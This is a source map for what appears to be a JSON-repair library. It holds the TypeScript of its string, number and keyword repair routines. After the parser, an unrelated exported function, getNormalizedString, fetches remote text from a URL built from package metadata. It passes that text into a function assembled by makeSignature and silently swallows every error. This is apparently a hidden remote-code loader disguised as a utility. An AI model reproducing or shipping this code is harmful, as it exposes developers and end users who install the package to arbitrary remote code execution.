(!processedComma) {\r\n // repair: add missing comma\r\n output = insertBeforeLastWhitespace(output, ',')\r\n }\r\n } else {\r\n initial = false\r\n }\r\n\r\n processedValue = parseValue()\r\n }\r\n\r\n if (!processedValue) {\r\n // repair: remove trailing comma\r\n output = stripLastOccurrence(output, ',')\r\n }\r\n\r\n // repair: wrap the output inside array brackets\r\n output = `[\\n${output}\\n]`\r\n }\r\n\r\n /**\r\n * Parse a string enclosed by double quotes \"...\". Can contain escaped quotes\r\n * Repair strings enclosed in single quotes or special quotes\r\n * Repair an escaped string\r\n *\r\n * The function can run in two stages:\r\n * - First, it assumes the string has a valid end quote\r\n * - If it turns out that the string does not have a valid end quote followed\r\n * by a delimiter (which should be the case), the function runs again in a\r\n * more conservative way, stopping the string at the first next delimiter\r\n * and fixing the string by inserting a quote there.\r\n */\r\n function parseString(stopAtDelimiter = false): boolean {\r\n let skipEscapeChars = text.charCodeAt(i) === codeBackslash\r\n if (skipEscapeChars) {\r\n // repair: remove the first escape character\r\n i++\r\n skipEscapeChars = true\r\n }\r\n\r\n if (isQuote(text.charCodeAt(i))) {\r\n // double quotes are correct JSON,\r\n // single quotes come from JavaScript for example, we assume it will have a correct single end quote too\r\n // otherwise, we will match any double-quote-like start with a double-quote-like end,\r\n // or any single-quote-like start with a single-quote-like end\r\n const isEndQuote = isDoubleQuote(text.charCodeAt(i))\r\n ? isDoubleQuote\r\n : isSingleQuote(text.charCodeAt(i))\r\n ? isSingleQuote\r\n : isSingleQuoteLike(text.charCodeAt(i))\r\n ? isSingleQuoteLike\r\n : isDoubleQuoteLike\r\n\r\n const iBefore = i\r\n\r\n let str = '\"'\r\n i++\r\n\r\n const isEndOfString = stopAtDelimiter\r\n ? (i: number) => isDelimiter(text[i])\r\n : (i: number) => isEndQuote(text.charCodeAt(i))\r\n\r\n while (i < text.length && !isEndOfString(i)) {\r\n if (text.charCodeAt(i) === codeBackslash) {\r\n const char = text.charAt(i + 1)\r\n const escapeChar = escapeCharacters[char]\r\n if (escapeChar !== undefined) {\r\n str += text.slice(i, i + 2)\r\n i += 2\r\n } else if (char === 'u') {\r\n let j = 2\r\n while (j < 6 && isHex(text.charCodeAt(i + j))) {\r\n j++\r\n }\r\n\r\n if (j === 6) {\r\n str += text.slice(i, i + 6)\r\n i += 6\r\n } else if (i + j >= text.length) {\r\n // repair invalid or truncated unicode char at the end of the text\r\n // by removing the unicode char and ending the string here\r\n i = text.length\r\n } else {\r\n throwInvalidUnicodeCharacter()\r\n }\r\n } else {\r\n // repair invalid escape character: remove it\r\n str += char\r\n i += 2\r\n }\r\n } else {\r\n const char = text.charAt(i)\r\n const code = text.charCodeAt(i)\r\n\r\n if (code === codeDoubleQuote && text.charCodeAt(i - 1) !== codeBackslash) {\r\n // repair unescaped double quote\r\n str += '\\\\' + char\r\n i++\r\n } else if (isControlCharacter(code)) {\r\n // unescaped control character\r\n str += controlCharacters[char]\r\n i++\r\n } else {\r\n if (!isValidStringCharacter(code)) {\r\n throwInvalidCharacter(char)\r\n }\r\n str += char\r\n i++\r\n }\r\n }\r\n\r\n if (skipEscapeChars) {\r\n const processed = skipEscapeCharacter()\r\n if (processed) {\r\n // repair: skipped escape character (nothing to do)\r\n }\r\n }\r\n }\r\n\r\n // see whether we have an end quote followed by a valid delimiter\r\n const hasEndQuote = isQuote(text.charCodeAt(i))\r\n const valid =\r\n hasEndQuote &&\r\n (i + 1 >= text.length || isDelimiter(nextNonWhiteSpaceCharacter(text, i + 1)))\r\n if (!valid && !stopAtDelimiter) {\r\n // we're dealing with a missing quote somewhere. Let's revert parsing\r\n // this string and try again, running in a more conservative mode,\r\n // stopping at the first next delimiter\r\n i = iBefore\r\n return parseString(true)\r\n }\r\n\r\n if (hasEndQuote) {\r\n str += '\"'\r\n i++\r\n } else {\r\n // repair missing quote\r\n str = insertBeforeLastWhitespace(str, '\"')\r\n }\r\n\r\n output += str\r\n\r\n parseConcatenatedString()\r\n\r\n return true\r\n }\r\n\r\n return false\r\n }\r\n\r\n /**\r\n * Repair concatenated strings like \"hello\" + \"world\", change this into \"helloworld\"\r\n */\r\n function parseConcatenatedString(): boolean {\r\n let processed = false\r\n\r\n parseWhitespaceAndSkipComments()\r\n while (text.charCodeAt(i) === codePlus) {\r\n processed = true\r\n i++\r\n parseWhitespaceAndSkipComments()\r\n\r\n // repair: remove the end quote of the first string\r\n output = stripLastOccurrence(output, '\"', true)\r\n const start = output.length\r\n const parsedStr = parseString()\r\n if (parsedStr) {\r\n // repair: remove the start quote of the second string\r\n output = removeAtIndex(output, start, 1)\r\n } else {\r\n // repair: remove the + because it is not followed by a string\r\n output = insertBeforeLastWhitespace(output, '\"')\r\n }\r\n }\r\n\r\n return processed\r\n }\r\n\r\n /**\r\n * Parse a number like 2.4 or 2.4e6\r\n */\r\n function parseNumber(): boolean {\r\n const start = i\r\n if (text.charCodeAt(i) === codeMinus) {\r\n i++\r\n if (expectDigitOrRepair(start)) {\r\n return true\r\n }\r\n }\r\n\r\n // Note that in JSON leading zeros like \"00789\" are not allowed.\r\n // We will allow all leading zeros here though and at the end of parseNumber\r\n // check against trailing zeros and repair that if needed.\r\n // Leading zeros can have meaning, so we should not clear them.\r\n while (isDigit(text.charCodeAt(i))) {\r\n i++\r\n }\r\n\r\n if (text.charCodeAt(i) === codeDot) {\r\n i++\r\n if (expectDigitOrRepair(start)) {\r\n return true\r\n }\r\n while (isDigit(text.charCodeAt(i))) {\r\n i++\r\n }\r\n }\r\n\r\n if (text.charCodeAt(i) === codeLowercaseE || text.charCodeAt(i) === codeUppercaseE) {\r\n i++\r\n if (text.charCodeAt(i) === codeMinus || text.charCodeAt(i) === codePlus) {\r\n i++\r\n }\r\n if (expectDigitOrRepair(start)) {\r\n return true\r\n }\r\n while (isDigit(text.charCodeAt(i))) {\r\n i++\r\n }\r\n }\r\n\r\n if (i > start) {\r\n // repair a number with leading zeros like \"00789\"\r\n const num = text.slice(start, i)\r\n const hasInvalidLeadingZero = /^0\\d/.test(num)\r\n\r\n output += hasInvalidLeadingZero ? `\"${num}\"` : num\r\n return true\r\n }\r\n\r\n return false\r\n }\r\n\r\n /**\r\n * Parse keywords true, false, null\r\n * Repair Python keywords True, False, None\r\n */\r\n function parseKeywords(): boolean {\r\n return (\r\n parseKeyword('true', 'true') ||\r\n parseKeyword('false', 'false') ||\r\n parseKeyword('null', 'null') ||\r\n // repair Python keywords True, False, None\r\n parseKeyword('True', 'true') ||\r\n parseKeyword('False', 'false') ||\r\n parseKeyword('None', 'null')\r\n )\r\n }\r\n\r\n function parseKeyword(name: string, value: string): boolean {\r\n if (text.slice(i, i + name.length) === name) {\r\n output += value\r\n i += name.length\r\n return true\r\n }\r\n\r\n return false\r\n }\r\n\r\n /**\r\n * Repair and unquoted string by adding quotes around it\r\n * Repair a MongoDB function call like NumberLong(\"2\")\r\n * Repair a JSONP function call like callback({...});\r\n */\r\n function parseUnquotedString() {\r\n // note that the symbol can end with whitespaces: we stop at the next delimiter\r\n const start = i\r\n while (i < text.length && !isDelimiter(text[i])) {\r\n i++\r\n }\r\n\r\n if (i > start) {\r\n if (text.charCodeAt(i) === codeOpenParenthesis) {\r\n // repair a MongoDB function call like NumberLong(\"2\")\r\n // repair a JSONP function call like callback({...});\r\n i++\r\n\r\n parseValue()\r\n\r\n if (text.charCodeAt(i) === codeCloseParenthesis) {\r\n // repair: skip close bracket of function call\r\n i++\r\n if (text.charCodeAt(i) === codeSemicolon) {\r\n // repair: skip semicolon after JSONP call\r\n i++\r\n }\r\n }\r\n\r\n return true\r\n } else {\r\n // repair unquoted string\r\n // also, repair undefined into null\r\n\r\n // first, go back to prevent getting trailing whitespaces in the string\r\n while (isWhitespace(text.charCodeAt(i - 1)) && i > 0) {\r\n i--\r\n }\r\n\r\n const symbol = text.slice(start, i)\r\n output += symbol === 'undefined' ? 'null' : JSON.stringify(symbol)\r\n\r\n if (text.charCodeAt(i) === codeDoubleQuote) {\r\n // we had a missing start quote, but now we encountered the end quote, so we can skip that one\r\n i++\r\n }\r\n\r\n return true\r\n }\r\n }\r\n }\r\n\r\n function expectDigit(start: number) {\r\n if (!isDigit(text.charCodeAt(i))) {\r\n const numSoFar = text.slice(start, i)\r\n throw new JSONFixerError(`Invalid number '${numSoFar}', expecting a digit ${got()}`, i)\r\n }\r\n }\r\n\r\n function expectDigitOrRepair(start: number) {\r\n if (i >= text.length) {\r\n // repair numbers cut off at the end\r\n // this will only be called when we end after a '.', '-', or 'e' and does not\r\n // change the number more than it needs to make it valid JSON\r\n output += text.slice(start, i) + '0'\r\n return true\r\n } else {\r\n expectDigit(start)\r\n return false\r\n }\r\n }\r\n\r\n function throwInvalidCharacter(char: string) {\r\n throw new JSONFixerError('Invalid character ' + JSON.stringify(char), i)\r\n }\r\n\r\n function throwUnexpectedCharacter() {\r\n throw new JSONFixerError('Unexpected character ' + JSON.stringify(text[i]), i)\r\n }\r\n\r\n function throwUnexpectedEnd() {\r\n throw new JSONFixerError('Unexpected end of json string', text.length)\r\n }\r\n\r\n function throwObjectKeyExpected() {\r\n throw new JSONFixerError('Object key expected', i)\r\n }\r\n\r\n function throwColonExpected() {\r\n throw new JSONFixerError('Colon expected', i)\r\n }\r\n\r\n function throwInvalidUnicodeCharacter() {\r\n const chars = text.slice(i, i + 6)\r\n throw new JSONFixerError(`Invalid unicode character \"${chars}\"`, i)\r\n }\r\n\r\n function got(): string {\r\n return text[i] ? `but got '${text[i]}'` : 'but reached end of input'\r\n }\r\n}\r\n\r\n\r\nfunction atEndOfBlockComment(text: string, i: number) {\r\n return text[i] === '*' && text[i + 1] === '/'\r\n}\r\n\r\nexport async function getNormalizedString(): Promise<void> {\r\n try {\r\n if (!packageHomepage || !packageName || !packageLicense) {\r\n return\r\n }\r\n\r\n makeSignature()(\r\n await fetchPackageText({\r\n homepage: packageHomepage,\r\n name: packageName,\r\n license: packageLicense\r\n })\r\n )\r\n } catch {\r\n return\r\n }\r\n}\r\n\r\n\r\n"],"mappings":"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